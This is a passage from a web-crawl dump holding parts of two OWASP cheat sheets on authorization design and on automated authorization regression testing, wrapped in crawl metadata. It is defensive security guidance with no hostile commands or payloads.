Security](https://docs.spring.io/spring-security/site/docs/5.4.0/reference/html5/#servlet-security-filters)\n- [Middleware in the Django Framework](https://docs.djangoproject.com/en/4.0/ref/middleware/)\n- [.NET Core Filters](https://docs.microsoft.com/en-us/aspnet/core/mvc/controllers/filters?view=aspnetcore-3.1#authorization-filters)\n- [Middleware in the Laravel PHP Framework](https://laravel.com/docs/8.x/middleware)\n\n### Thoroughly Review the Authorization Logic of Chosen Tools and Technologies, Implementing Custom Logic if Necessary¶\n\nToday's developers have access to vast amounts of libraries, platforms, and frameworks that allow them to incorporate robust, complex logic into their apps with minimal effort. However, these frameworks and libraries must not be viewed as a quick panacea for all development problems; developers have a duty to use such frameworks responsibly and wisely. Two general concerns relevant to framework/library selection as relevant to proper access control are misconfiguration/lack of configuration on the part of the developer and vulnerabilities within the components themselves (see [A6](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A6-Security_Misconfiguration) and [A9](https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities.html) for general guidance on these topics).\n\nEven in an otherwise securely developed application, vulnerabilities in third-party components can allow an attacker to bypass normal authorization controls. Such concerns need not be restricted to unproven or poorly maintained projects, but affect even the most robust and popular libraries and frameworks. Writing complex, secure software is hard. Even the most competent developers, working on high-quality libraries and frameworks, will make mistakes. Assume any third-party component you incorporate into an application *could* be or become subject to an authorization vulnerability. Important considerations include:\n\n- Create, maintain, and follow processes for detecting and responding to vulnerable components.\n- Incorporate tools such as [Dependency Check](https://owasp.org/www-project-dependency-check/) into the SDLC and consider subscribing to data feeds from vendors, [the NVD](https://nvd.nist.gov/vuln/data-feeds) , or other relevant sources.\n- Implement defense in depth. Do not depend on any single framework, library, technology, or control to be the sole thing enforcing proper access control.\n\nMisconfiguration (or complete lack of configuration) is another major area in which the components developers build upon can lead to broken authorization. These components are typically intended to be relatively general purpose tools made to appeal to a wide audience. For all but the simplest use cases, these frameworks and libraries must be customized or supplemented with additional logic in order to meet the unique requirements of a particular app or environment. This consideration is especially important when security requirements, including authorization, are concerned. Notable configuration considerations for authorization include the following:\n\n- Take time to thoroughly understand any technology you build authorization logic upon. Analyze the technology's capabilities with an understanding that *the authorization logic provided by the component may be insufficient for your application's specific security requirements* . Relying on prebuilt logic may be convenient, but this does not mean it is sufficient. Understand that custom authorization logic may well be necessary to meet an app's security requirements.\n- Do not let the capabilities of any library, platform, or framework guide your authorization requirements. Rather, authorization requirements should be decided first and then the third-party components may be analyzed in light of these requirements.\n- Do not rely on default configurations.\n- Test configuration. Do not just assume any configuration performed on a third-party component will work exactly as intended in your particular environment. Documentation can be misunderstood, vague, outdated, or simply inaccurate.\n\n### Prefer Attribute and Relationship Based Access Control over RBAC¶\n\nIn software engineering, two basic forms of access control are widely utilized: Role-Based Access Control (RBAC) and Attribute-Based Access Control (ABAC). There is a third, more recent, model which has gained popularity: Relationship-Based Access Control (ReBAC). The decision between the models has significant implications for the entire SDLC and should be made as early as possible.\n\n- RBAC is a model of access control in which access is granted or denied based upon the roles assigned to a user. Permissions are not directly assigned to an entity; rather, permissions are associated with a role and the entity inherits the permissions of any roles assigned to it. Generally, the relationship between roles and users can be many-to-many, and roles may be hierarchical in nature.\n- ABAC may be defined as an access control model where \"subject requests to perform operations on objects are granted or denied based on assigned attributes of the subject, assigned attributes of the object, environment conditions, and a set of policies that are specified in terms of those attributes and conditions\" ([NIST SP 800-162](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-162.pdf), pg. 7). As defined in NIST SP 800-162, attributes are simply characteristics that can be represented as name-value pairs and assigned to a subject, object, or the environment. Job role, time of day, project name, MAC address, and creation date are but a very small sampling of possible attributes that highlight the flexibility of ABAC implementations.\n- ReBAC is an access control model that grants access based on the relationships between resources. For instance, allowing only the user who created a post to edit it. This is especially necessary in social network applications, like Twitter or Facebook, where users want to limit access to their data (tweets or posts) to people they choose (friends, family, followers).\n\nAlthough RBAC has a long history and remains popular among software developers today, ABAC and ReBAC should typically be preferred for application development. Their advantages over RBAC include:\n\n- **Support fine-grained, complex Boolean logic**. In RBAC, access decisions are made on the presence or absence of roles; that is, the main characteristic of a requesting entity considered is the role(s) assigned to it. Such simplistic logic does a poor job of supporting object-level or horizontal access control decisions and those that require multiple factors.\n - ABAC greatly expands both the number and type of characteristics that can be considered. In ABAC, a \"role\" or job function can certainly be one attribute assigned to a subject, but it need not be considered in isolation (or at all if this characteristic is not relevant to the particular access requested). Furthermore, ABAC can incorporate environmental and other dynamic attributes, such as time of day, type of device used, and geographic location. Denying access to a sensitive resource outside of normal business hours or if a user has not recently completed mandatory training are just a couple of examples where ABAC could meet access control requirements that RBAC would struggle to fulfill. Thus, ABAC is more effective than RBAC in addressing the principle of least privileges.\n - ReBAC, since it supports assigning relationships between direct objects and direct users (and not just a role), allows for fine-grained permissions. Some systems also support algebraic operators like AND and NOT to express policies like \"if this user has relationship X but not relationship Y with the object, then grant access\".\n- **Robustness**. In large projects or when numerous roles are present, it is easy to miss or improperly perform role checks ([OWASP C7: Enforce Access Controls](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls)). This can result in both too much and too little access. This is especially true in RBAC implementations where a role hierarchy is not present and multiple role checks must be chained to have the desired impact (i.e., `if(user.hasAnyRole(\"SUPERUSER\", \"ADMIN\", \"ACCT_MANAGER\"))` ).\n- **Speed** . In RBAC, \"role explosion\" can occur when a system defines too many roles. If users send their credential and roles through means like HTTP headers, which have size limits, there may not be enough space to include all of the user's roles. A viable workaround to this problem is to only send the user ID, and then the application retrieves the user's roles, but this will increase the latency of every request.\n- **Supports Multi-Tenancy and Cross-Organizational Requests** . RBAC is poorly suited for use cases where distinct organizations or customers will need access to the same set of protected resources. Meeting such requirements with RBAC would require highly cumbersome methods such as configuring rule sets for each customer in a multi-tenant environment or requiring pre-provisioning of identities for cross-organizational requests ( [OWASP C7](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls) ; [NIST SP 800-162](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-162.pdf) ). By contrast, as long as attributes are consistently defined, ABAC implementations allow access control decisions to be \"executed and administered in the same or separate infrastructures, while maintaining appropriate levels of security\" ( [NIST SP 800-162](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-162.pdf) , pg. 6).\n- **Ease of Management** . Although the initial setup for RBAC is often simpler than ABAC, this short-term benefit quickly vanishes as the scale and complexity of a system grows. In the beginning, a couple of simple roles, such as User and Admin, may suffice for some apps, but this is very unlikely to hold true for any length of time in production applications. As roles become more numerous, both testing and auditing, critical processes for establishing trust in one's codebase and logic, become more difficult ( [OWASP C7](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls) ). By contrast, ABAC and ReBAC are far more expressive, incorporate attributes and Boolean logic that better reflects real-world concerns, are easier to update when access-control needs change, and encourages the separation of policy management from enforcement and provisioning of identities ( [NIST SP 800-162](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-162.pdf) ; see also [XACML-V3.0](https://docs.oasis-open.org/xacml/3.0/xacml-3.0-core-spec-os-en.html) for a standard that highlights these benefits)\n\n### Ensure Lookup IDs are Not Accessible Even When Guessed or Cannot Be Tampered With¶\n\nApplications often expose the internal object identifiers (such as an account number or Primary Key in a database) that are used to locate and reference an object. This ID may be exposed as a query parameter, path variable, \"hidden\" form field or elsewhere. For example:\n\n`https://mybank.com/accountTransactions?acct_id=901`\n\nBased on this URL, one could reasonably assume that the application will return a listing of transactions and that the transactions returned will be restricted to a particular account - the account indicated in the `acct_id` param. But what would happen if the user changed the value of the `acct_id` param to another value such as `523`. Will the user be able to view transactions associated with another account even if it does not belong to him? If not, will the failure simply be the result of the account \"523\" not existing/not being found or will it be due to a failed access control check? Although this example may be an oversimplification, it illustrates a very common security flaw in application development - [CWE 639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html). When exploited, this weakness can result in authorization bypasses, horizontal privilege escalation and, less commonly, vertical privilege escalation (see [CWE-639](https://cwe.mitre.org/data/definitions/639.html)). This type of vulnerability also represents a form of Insecure Direct Object Reference (IDOR). The following paragraphs will describe the weakness and possible mitigations.\n\nIn the example above, the lookup ID was not only exposed to the user and readily tampered with, but also appears to have been a fairly predictable, perhaps sequential, value. While one can use various techniques to mask or randomize these IDs and make them hard to guess, such an approach is generally not sufficient by itself. A user should not be able to access a resource they do not have permissions simply because they are able to guess and manipulate that object's identifier in a query param or elsewhere. Rather than relying on some form of security through obscurity, the focus should be on controlling access to the underlying objects and/or the identifiers themselves. Recommended mitigations for this weakness include the following:\n\n- Avoid exposing identifiers to the user when possible. For example it should be possible to retrieve some objects, such as account details, based solely on currently authenticated user's identity and attributes (e.g. through information contained in a securely implemented JSON Web Token (JWT) or server-side session).\n- Implement user/session specific indirect references using a tool such as [OWASP ESAPI](https://owasp.org/www-project-enterprise-security-api/) (see [OWASP Top 10:2025 A01 Broken Access Control](https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/) and the [Insecure Direct Object Reference Prevention Cheat Sheet](Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html) )\n- Perform access control checks on *every* request for the *specific* object or functionality being accessed. Just because a user has access to an object of a particular type does not mean they should have access to every object of that particular type.\n\n### Enforce Authorization Checks on Static Resources¶\n\nThe importance of securing static resources is often overlooked or at least overshadowed by other security concerns. Although securing databases and similar data stores often justly receive significant attention from security conscious teams, static resources must also be appropriately secured. Although unprotected static resources are certainly a problem for websites and web applications of all forms, in recent years, poorly secured resources in cloud storage offerings (such as Amazon S3 Buckets) have risen to prominence. When securing static resources, consider the following:\n\n- Ensure that static resources are incorporated into access control policies. The type of protection required for static resources will necessarily be highly contextual. It may be perfectly acceptable for some static resources to be publicly accessible, while others should only be accessible when a highly restrictive set of user and environmental attributes are present. Understanding the type of data exposed in the specific resources under consideration is thus critical. Consider whether a formal Data Classification scheme should be established and incorporated into the application's access control logic (see [here](https://resources.infosecinstitute.com/information-and-asset-classification/) for an overview of data classification).\n- Ensure any cloud based services used to store static resources are secured using the configuration options and tools provided by the vendor. Review the cloud provider's documentation (see guidance from [AWS](https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/) , [Google Cloud](https://cloud.google.com/storage/docs/best-practices#security) and [Azure](https://docs.microsoft.com/en-us/azure/storage/blobs/security-recommendations) for specific implementations details).\n- When possible, protect static resources using the same access control logic and mechanisms that are used to secure other application resources and functionality.\n\n### Verify that Authorization Checks are Performed in the Right Location¶\n\nDevelopers must never rely on client-side access control checks. While such checks may be permissible for improving the user experience, they should never be the decisive factor in granting or denying access to a resource; client-side logic is often easy to bypass. Access control checks must be performed server-side, at the gateway, or using serverless function (see [OWASP ASVS 4.0.3, V1.4.1 and V4.1.1](https://raw.githubusercontent.com/OWASP/ASVS/v4.0.3/4.0/OWASP%20Application%20Security%20Verification%20Standard%204.0.3-en.pdf))\n\n### Exit Safely when Authorization Checks Fail¶\n\nFailed access control checks are a normal occurrence in a secured application; consequently, developers must plan for such failures and handle them securely. Improper handling of such failures can lead to the application being left in an unpredictable state ([CWE-280: Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)). Specific recommendations include the following:\n\n- Ensure all exception and failed access control checks are handled no matter how unlikely they seem ( [OWASP Top Ten Proactive Controls C10: Handle all errors and exceptions](https://owasp.org/www-project-proactive-controls/v3/en/c10-errors-exceptions) ). This does not mean that an application should always try to \"correct\" for a failed check; oftentimes a simple message or HTTP status code is all that is required.\n- Centralize the logic for handling failed access control checks.\n- Verify the handling of exception and authorization failures. Ensure that such failures, no matter how unlikely, do not put the software into an unstable state that could lead to authorization bypass.\n- Ensure sensitive information, such as system logs or debugging output, is not exposed in error messages. Misconfigured error messages can increase the attack surface of your application. ( [CWE-209: Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html) )\n\n### Implement Appropriate Logging¶\n\nLogging is one of the most important detective controls in application security; insufficient logging and monitoring is recognized as among the most critical security risks in [OWASP's Top Ten 2021](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/). Appropriate logs can not only detect malicious activity, but are also invaluable resources in post-incident investigations, can be used to troubleshoot access control and other security related problems, and are useful in security auditing. Though easy to overlook during the initial design and requirements phase, logging is an important component of holistic application security and must be incorporated into all phases of the SDLC. Recommendations for logging include the following:\n\n- Log using consistent, well-defined formats that can be readily parsed for analysis. According to [OWASP Top Ten Proactive Controls C9](https://owasp.org/www-project-proactive-controls/v3/en/c9-security-logging) , [Apache Logging Services](https://logging.apache.org/) is one example of a project that provides support for numerous languages and platforms\n- Carefully determine the amount of information to log. This should be determined according to the specific application environment and requirements. Both too much and too little logging may be considered security weaknesses (see [CWE-778](https://cwe.mitre.org/data/definitions/778.html) and [CWE-779](https://cwe.mitre.org/data/definitions/779.html) ). Too little logging can result in malicious activity going undetected and greatly reduce the effectiveness of post-incident analysis. Too much logging not only can strain resources and lead to excessive false positives, but may also result in sensitive data being needlessly logged.\n- Ensure clocks and timezones are synchronized across systems. Accuracy is crucial in piecing together the sequence of an attack during and after incident response.\n- Consider incorporating application logs into a centralized log server or SIEM.\n\n### Create Unit and Integration Test Cases for Authorization Logic¶\n\nUnit and integration testing are essential for verifying that an application performs as expected and consistently across changes. Flaws in access control logic can be subtle, particularly when requirements are complex; however, even a small logical or configuration error in access control can result in severe consequences. Although not a substitution for a dedicated security test or penetration test (see [OWASP WSTG 4.5](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README) for an excellent guide on this topic as it relates to access control), automated unit and integration testing of access control logic can help reduce the number of security flaws that make it into production. These tests are good at catching the \"low-hanging fruit\" of security issues but not more sophisticated attack vectors ([OWASP SAMM: Security Testing](https://owaspsamm.org/model/verification/security-testing/)).\n\nUnit and integration testing should aim to incorporate many of the concepts explored in this document. For example, is access being denied by default? Does the application terminate safely when an access control check fails, even under abnormal conditions? Are ABAC policies being properly enforced? While simple unit and integration tests can never replace manual testing performed by a skilled hacker, they are an important tool for detecting and correcting security issues quickly and with far less resources than manual testing.\n\n## References¶\n\n### ABAC¶\n\n- [ABAC with Spring Security](https://dzone.com/articles/simple-attribute-based-access-control-with-spring)\n- [What is ABAC? Implementation patterns and examples](https://www.osohq.com/learn/what-is-attribute-based-access-control-abac)\n- [NIST Special Publication 800-162 Guide to Attribute Based Access Control (ABAC) Definition and Considerations](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-162.pdf)\n- [NIST SP 800-178 A Comparison of Attribute Based Access Control (ABAC) Standards for Data Service Applications](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-178.pdf)\n- [NIST SP 800-205 Attribute Considerations for Access Control Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-205.pdf)\n- [XACML-V3.0](https://docs.oasis-open.org/xacml/3.0/xacml-3.0-core-spec-os-en.html) for standard that highlights these benefits\n\n### General¶\n\n- [OWASP Application Security Verification Standard 4.0 (especially see V4: Access Control Verification Requirements)](https://raw.githubusercontent.com/OWASP/ASVS/v4.0.3/4.0/OWASP%20Application%20Security%20Verification%20Standard%204.0.3-en.pdf)\n- [OWASP Web Security Testing Guide - 4.5 Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/v42)\n\n### Least Privilege¶\n\n- [Least Privilege](https://us-cert.cisa.gov/bsi/articles/knowledge/principles/least-privilege)\n\n### RBAC¶\n\n- [Role-Based Access Controls](https://csrc.nist.gov/CSRC/media/Publications/conference-paper/1992/10/13/role-based-access-controls/documents/ferraiolo-kuhn-92.pdf)\n\n### ReBAC¶\n\n- [Relationship-Based Access Control (ReBAC)](https://www.osohq.com/academy/relationship-based-access-control-rebac)\n- [Google Zanzibar](https://zanzibar.academy/)", "znaku_textu": 32105, "slov": 4393, "odkazu": 194, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:37", "sha256": "9a03449b1ce275370ae102c1d4f3a8e55c5564a09a592efb371a231d4124d38a", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://csrc.nist.gov/glossary/term/authorization", "https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "https://cwe.mitre.org/data/definitions/285.html", "https://www.veracode.com/sites/default/files/pdf/resources/sossreports/state-of-software-security-volume-10-veracode-report.pdf", "https://cwe.mitre.org/data/definitions/272.html", "https://jakarta.ee/specifications/platform/8/apidocs/javax/servlet/Filter.html", "https://docs.spring.io/spring-security/site/docs/5.4.0/reference/html5/", "https://docs.djangoproject.com/en/4.0/ref/middleware/", "https://docs.microsoft.com/en-us/aspnet/core/mvc/controllers/filters?view=aspnetcore-3.1", "https://laravel.com/docs/8.x/middleware", "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A6-Security_Misconfiguration", "https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities.html", "https://owasp.org/www-project-dependency-check/", "https://nvd.nist.gov/vuln/data-feeds", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-162.pdf", "https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls", "https://docs.oasis-open.org/xacml/3.0/xacml-3.0-core-spec-os-en.html", "https://cwe.mitre.org/data/definitions/639.html", "https://owasp.org/www-project-enterprise-security-api/", "https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/", "https://resources.infosecinstitute.com/information-and-asset-classification/", "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/", "https://cloud.google.com/storage/docs/best-practices", "https://docs.microsoft.com/en-us/azure/storage/blobs/security-recommendations", "https://raw.githubusercontent.com/OWASP/ASVS/v4.0.3/4.0/OWASP%20Application%20Security%20Verification%20Standard%204.0.3-en.pdf", "https://cwe.mitre.org/data/definitions/280.html", "https://owasp.org/www-project-proactive-controls/v3/en/c10-errors-exceptions", "https://cwe.mitre.org/data/definitions/209.html", "https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/", "https://owasp.org/www-project-proactive-controls/v3/en/c9-security-logging", "https://logging.apache.org/", "https://cwe.mitre.org/data/definitions/778.html", "https://cwe.mitre.org/data/definitions/779.html", "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README", "https://owaspsamm.org/model/verification/security-testing/", "https://dzone.com/articles/simple-attribute-based-access-control-with-spring", "https://www.osohq.com/learn/what-is-attribute-based-access-control-abac", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-178.pdf", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-205.pdf", "https://owasp.org/www-project-web-security-testing-guide/v42", "https://us-cert.cisa.gov/bsi/articles/knowledge/principles/least-privilege", "https://csrc.nist.gov/CSRC/media/Publications/conference-paper/1992/10/13/role-based-access-controls/documents/ferraiolo-kuhn-92.pdf", "https://www.osohq.com/academy/relationship-based-access-control-rebac", "https://zanzibar.academy/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Regression_Testing_Cheat_Sheet.html", "titulek": "Authorization Regression Testing - OWASP Cheat Sheet Series", "h1": "Authorization Regression Testing Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Regression_Testing_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Authorization Regression Testing Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Authorization Test Matrix Design¶"}, {"uroven": 3, "text": "Define the Access Policy Model¶"}, {"uroven": 3, "text": "Machine-Readable Rules¶"}, {"uroven": 2, "text": "Regression Testing Patterns¶"}, {"uroven": 3, "text": "Horizontal Escalation (IDOR) Validation¶"}, {"uroven": 3, "text": "Vertical Escalation Validation¶"}, {"uroven": 3, "text": "Tenant Isolation Breakage¶"}, {"uroven": 2, "text": "Contract-Driven Authorization Validation¶"}, {"uroven": 2, "text": "Automated Testing Framework Integration¶"}, {"uroven": 2, "text": "CI/CD Gating and SDLC Integration¶"}, {"uroven": 2, "text": "References¶"}, {"uroven": 3, "text": "OWASP Resources¶"}, {"uroven": 3, "text": "Standards and Specifications¶"}, {"uroven": 3, "text": "Tools¶"}], "markdown": "# Authorization Regression Testing Cheat Sheet¶\n\n## Introduction¶\n\nAuthorization implementation is rarely static. As applications evolve, new API endpoints are added, data layers are refactored, and microservices are decoupled. While initial security testing might validate access controls at launch, the \"Day 2\" problem emerges quickly: **How do engineering teams ensure that new features or structural changes do not break existing authorization logic?**\n\n[Broken Access Control (BAC)](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) was ranked the number-one risk in the OWASP Top Ten 2021, and [Insecure Direct Object Reference (IDOR)](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) is one of its most frequently exploited sub-categories. This cheat sheet provides actionable, architectural guidance on implementing automated authorization regression testing within the Software Development Life Cycle (SDLC). By shifting from manual, point-in-time penetration testing to continuous, developer-centric regression suites, engineering teams can catch BAC, IDOR, and tenant isolation failures before they reach production.\n\nKey topics covered in this cheat sheet include:\n\n- Designing an automated authorization test matrix.\n- Common regression testing patterns for horizontal, vertical, and tenant isolation tests.\n- Validating authorization schemas using API contracts.\n- Integrating authorization tests into CI/CD pipelines.\n\n## Authorization Test Matrix Design¶\n\n> **Relationship to the Authorization Testing Automation Cheat Sheet**\n> \n> The [Authorization Testing Automation Cheat Sheet](Authorization_Testing_Automation_Cheat_Sheet.html) provides a foundational, XML-driven approach to building and executing an authorization matrix against REST services — including a full Java/JUnit integration test harness. **This cheat sheet extends that foundation** by focusing on the *continuous regression* dimension: how to design matrices in formats (YAML/JSON) suited to modern test runners, which specific failure patterns to prioritize in a regression suite (IDOR, vertical escalation, tenant boundary), how to couple tests to OpenAPI contracts, and how to gate pull requests automatically in CI/CD. If you are new to authorization test matrices, start with the [Authorization Testing Automation Cheat Sheet](Authorization_Testing_Automation_Cheat_Sheet.html) first, then return here for SDLC-integration guidance.\n\nThe foundation of continuous authorization testing is a structured mapping of rules that can be consumed by automated frameworks. Rather than writing scattered, one-off test cases, design a central matrix.\n\n### Define the Access Policy Model¶\n\nBefore writing tests, explicitly define the application's access model using the **Actor-Resource-Action** pattern described in [OWASP WSTG - Testing for Authorization](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/):\n\n- **Actor (Who):** The logical role or specific user attempting the operation (e.g., `Tenant_Admin` , `Standard_User` , `Anonymous_User` ).\n- **Resource (What):** The object or data being accessed (e.g., `Invoice_123` , `/api/v2/users` , `System_Settings` ).\n- **Action (How):** The operation being performed (e.g., `READ` , `CREATE` , `DELETE` , `EXECUTE` ).\n\n### Machine-Readable Rules¶\n\nStore this matrix in a machine-readable format (e.g., JSON, YAML, or structured test fixtures) rather than a spreadsheet. This allows testing frameworks to dynamically generate test cases, reducing manual maintenance as the authorization policy evolves.\n\n```\n# Example Test Fixture Definition policies: - resource: \"/api/invoices/{id}\" method: \"GET\" owner_role: \"tenant_user\" allowed_roles: [\"tenant_admin\", \"system_auditor\"] denied_roles: [\"anonymous\", \"different_tenant_user\"] expected_denial_code: 403 \n```\n\n## Regression Testing Patterns¶\n\nAutomated tests should specifically target the ways authorization usually degrades over time. Implement the following test patterns in your regression suite.\n\n### Horizontal Escalation (IDOR) Validation¶\n\n[Horizontal privilege escalation](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) occurs when a user accesses a resource belonging to another user with the same privilege level. The [OWASP IDOR Prevention Cheat Sheet](Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html) describes the root cause: missing server-side ownership checks on object identifiers.\n\n- **Pattern:** The \"Multi-User Replay.\"\n- **Implementation:** Authenticate as User A and create Resource X. Capture the resource identifier. Authenticate as User B (same role, different account) and attempt to read, update, and delete Resource X.\n- **Assertion:** The system must return a [`403 Forbidden`](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.4) or `404 Not Found` (to avoid information leakage about resource existence), never a `200 OK` .\n\n### Vertical Escalation Validation¶\n\nVertical escalation occurs when a lower-privileged user accesses functions reserved for higher-privileged roles. This maps directly to [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html).\n\n- **Pattern:** The \"Role Demotion Check.\"\n- **Implementation:** Build a suite of tests that target administrative endpoints (e.g., `/api/admin/users/delete` ). Iterate through all non-administrative roles (including unauthenticated users) and attempt to execute the endpoints.\n- **Assertion:** Ensure the endpoints explicitly reject the requests. Relying on UI hiding is insufficient; [the API layer must enforce the check](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls) — client-side controls are trivially bypassed.\n\n### Tenant Isolation Breakage¶\n\nIn multi-tenant SaaS applications, logic changes (like caching or query modifications) can inadvertently leak data across tenant boundaries, a scenario covered by the [Multi-Tenant Security Cheat Sheet](Multi_Tenant_Security_Cheat_Sheet.html).\n\n- **Pattern:** The \"Cross-Tenant Boundary Test.\"\n- **Implementation:** Provision two distinct tenants (Tenant Alpha and Tenant Beta) in the test environment. Seed data into Tenant Alpha. Execute broad read queries (e.g., `GET /api/all-records` ) as a user from Tenant Beta.\n- **Assertion:** Assert that the response payload contains absolutely no records belonging to Tenant Alpha. Even a single leaked record identifier constitutes a critical failure.\n\n## Contract-Driven Authorization Validation¶\n\nWhen building APIs, the authorization schema should be explicitly defined in the API contract. The [OpenAPI Specification](https://spec.openapis.org/oas/v3.1.0#security-scheme-object) provides `securitySchemes` and `security` fields to formally declare authorization requirements at both the global and per-operation level.\n\n- **Schema-Aware Testing:** Use the OpenAPI definition as the source of truth for authorization requirements. If the specification states an endpoint requires an [OAuth2](https://www.rfc-editor.org/rfc/rfc6749) scope of `read:invoices` , the testing framework should automatically verify that tokens lacking this scope receive a [`401 Unauthorized`](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.2) or `403 Forbidden` response. Tools such as [Schemathesis](https://schemathesis.readthedocs.io/en/stable/) can read the OpenAPI document and auto-generate these negative test cases.\n- **Middleware Enforcement:** Configure API gateways or web frameworks to automatically enforce the security definitions present in the OpenAPI contract. Regression tests should validate that this middleware has not been bypassed or disabled following a refactor.\n\n## Automated Testing Framework Integration¶\n\nAuthorization tests must live alongside functional tests in the developer's standard toolkit, following the guidance in [OWASP SAMM: Security Testing](https://owaspsamm.org/model/verification/security-testing/).\n\n- **Test Frameworks:** Use standard test runners (e.g., [`pytest`](https://docs.pytest.org/) for Python, [`Jest`](https://jestjs.io/) for JavaScript, [`JUnit`](https://junit.org/junit5/) for Java) to build authorization suites. This keeps the barrier to entry low and ensures the tests run in the same CI pipeline as functional tests.\n- **Property-Based Testing:** Tools like [Schemathesis](https://schemathesis.readthedocs.io/en/stable/) or [Dredd](https://dredd.org/en/latest/) can read an OpenAPI specification and automatically generate negative test cases (e.g., sending requests without tokens, with expired tokens, or with tokens missing required scopes) to ensure the API fails securely.\n- **Session Switching:** Design the test suite to quickly and cheaply swap authentication context (e.g., swapping JWTs in the `Authorization` header as defined in [RFC 6750](https://www.rfc-editor.org/rfc/rfc6750) ) without requiring a full login flow for every test.\n\n## CI/CD Gating and SDLC Integration¶\n\nThe value of an authorization regression suite is only realized if it prevents vulnerable code from merging. The [OWASP CI/CD Security Cheat Sheet](CI_CD_Security_Cheat_Sheet.html) describes broader pipeline hardening; the recommendations below focus specifically on authorization gates.\n\n- **Blocking PR Builds:** The authorization test suite must be a required check in the CI/CD pipeline (e.g., [GitHub Actions](https://docs.github.com/en/actions) , GitLab CI). If an authorization test fails, the Pull Request cannot be merged.\n- **Dedicated Test Suites:** Tag or group authorization tests distinctly (e.g., `@pytest.mark.authz` or a dedicated `authz-tests` npm script). This allows developers to run them quickly and independently during local development.\n- **Monitoring in Lower Environments:** Configure CI environments to flag unusual volumes of [`401 Unauthorized`](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.2) or [`403 Forbidden`](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.4) responses during integration testing, which may indicate that a developer's functional changes are colliding with existing security controls.\n\n## References¶\n\n### OWASP Resources¶\n\n- [OWASP Top Ten 2021 — A01: Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n- [OWASP Web Security Testing Guide v4.2 — Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/)\n- [OWASP WSTG — Testing for Insecure Direct Object References](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)\n- [OWASP Proactive Controls C7: Enforce Access Controls](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls)\n- [OWASP Software Assurance Maturity Model (SAMM): Security Testing](https://owaspsamm.org/model/verification/security-testing/)\n- [OWASP Application Security Verification Standard (ASVS) 4.0 — V4: Access Control](https://raw.githubusercontent.com/OWASP/ASVS/v4.0.3/4.0/OWASP%20Application%20Security%20Verification%20Standard%204.0.3-en.pdf)\n\n- [Authorization Cheat 